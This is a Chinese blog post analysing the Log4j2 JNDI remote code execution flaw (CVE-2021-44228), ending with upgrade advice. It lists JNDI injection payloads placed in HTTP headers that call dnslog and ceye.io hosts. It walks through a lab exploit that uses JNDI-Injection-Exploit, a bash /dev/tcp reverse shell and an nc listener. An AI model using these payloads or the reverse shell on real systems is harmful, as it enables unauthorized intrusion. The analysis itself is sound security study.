2021年12月8号爆出的log4j2的远程代码执行漏洞【cve-2021-44228】,堪称史诗级核弹漏洞,虽然过了这么久,大部分现网中的相关漏洞已经修复,但任然可以捡漏…,网上也有不少大佬和研究机构都对该漏洞做了分析和复盘,年前年后比较忙,一直没有好好的分析总结该漏洞,最近学习下刚好补上。

漏洞描述及影响

log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。

同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等

用户认证:不需要用户认证

触发方式:远程

配置方式:默认

利用条件:需要外网访问权限

影响版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

利用难度:极低,无需授权即可远程代码执行

威胁等级:严重,能造成远程代码执行

综合评估漏洞利用难度极低,利用要求较少,影响范围很大,危害极其严重,且已经被黑客公开利用持续全网扫描,根据部里要求,需要紧急修复。

漏洞分析

该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE
【Java JNDI使用详解】 https://blog.csdn.net/qinwuxian19891211/article/details/108969927,这篇文章中很好的介绍了什么是JNDI,这里摘抄文章中的重点的部分,以作说明,

JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。
JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。

在这里插入图片描述

这里面有个很重要的点,java应用程序中可以调用JNDI协议访问远程服务,其底层包含了RMI、LDAP、DNS等协议的调用,说明白点,就是可以通过JNDI访问远程的相关目录服务,本次爆发的攻击payload都是通过jndi调用了远程的恶意class,然后本地反序列化执行。和以前的fastjson攻击的手法差不多,这里面涉及到jndi注入和java反序列化漏洞的相关知识,可以作为一个单独的文章来说明,这里只将和log4j本次漏洞相关的。详细的,可以参考网上的一篇文章,【深入理解JNDI注入与Java反序列化漏洞利用
首先我们看一下,收集到的log4j payload:

X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}

以及一些变形的payload:
在这里插入图片描述

这些payload的形式大多类似与这样:
${jndi:ldap://xxxx.com.cn},我们可以看看直接在代码中利用log4j输出以上字符串,到底会发生什么,上代码:

//首先在pom文件中,引入含有漏洞的log4j包,pom文件
  <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
   </dependencies>

// 直接在代码中输出含有ldap的dnslog的查询,
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j11Test {
    private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
    public static void main(String[] args) {
        logger.error("${jndi:ldap://log4j.voxxaq.dnslog.cn}");
    }
}

运行以上代码,观察到dnslog上有反查记录,说明应用程序lookup了log4j.voxxaq.dnslog.cn这个域名,留下了查找记录
在这里插入图片描述

既然能远程访问,那返回的又是什么呢,有没有可能加载远程服务器上的恶意类呢?答案是肯定的,我们只需要构建一个ldap或rmi远程服务即可,让远程服务器返回恶意class,如图
在这里插入图片描述

验证

按照以上的思路,首先要在远程服务器上准备ldap或rmi服务,这里我们利用现成的工具,【JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar】,github上已有大神准备好了,这个jar包的作用是在服务器上开启ldap和rmi服务,并且可以自定义要执行的代码。命令执行格式如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A "serverip"

A参数为远程服务器的IP,我们只需要关注payload,将他变为要执行的代码即可。这里我们直接反弹一个shell,payload为
bash -i >& /dev/tcp/serverip/port 0>&1,因为其中含有&等特需符号,为防止执行不成功,换一种写法,变形为,bash -c {echo,base64_encoded_payload}|{base64,-d}|{bash,-i},本质上和前面是一样的,只不过是将前面的payload先base64编码后再解码。
执行后,输出如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WuxiAheR-1644768636746)(vx_images/87154923231691.png)]
以上分别在1099端口和1389端口,开启了rmi,ldap的监听服务,等待jndi的连接。同时我们也再9999端口,开启一个反弹监听端口,等待反弹shell上线。

nc -lvvp 9999

这里,我们直接用本地搭建漏洞环境,也可以用volfocus上的在线靶场环境。启动本地含有漏洞的spring boot的服务,如图:
在这里插入图片描述

以上环境在request header 中X-Api-Version 中存在log4j2的漏洞,直接在postman中发送请求:
在这里插入图片描述

观察远程服务端:
在这里插入图片描述

再观察反弹的9999端口:
在这里插入图片描述
以上可以看到反弹shell,成功上线。

修复

从前面的分析验证可以看出,该漏洞可直接加载远程代码,反弹shell,危害巨大。需将log4j2的jar包升级为2.17-rc2及以上

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐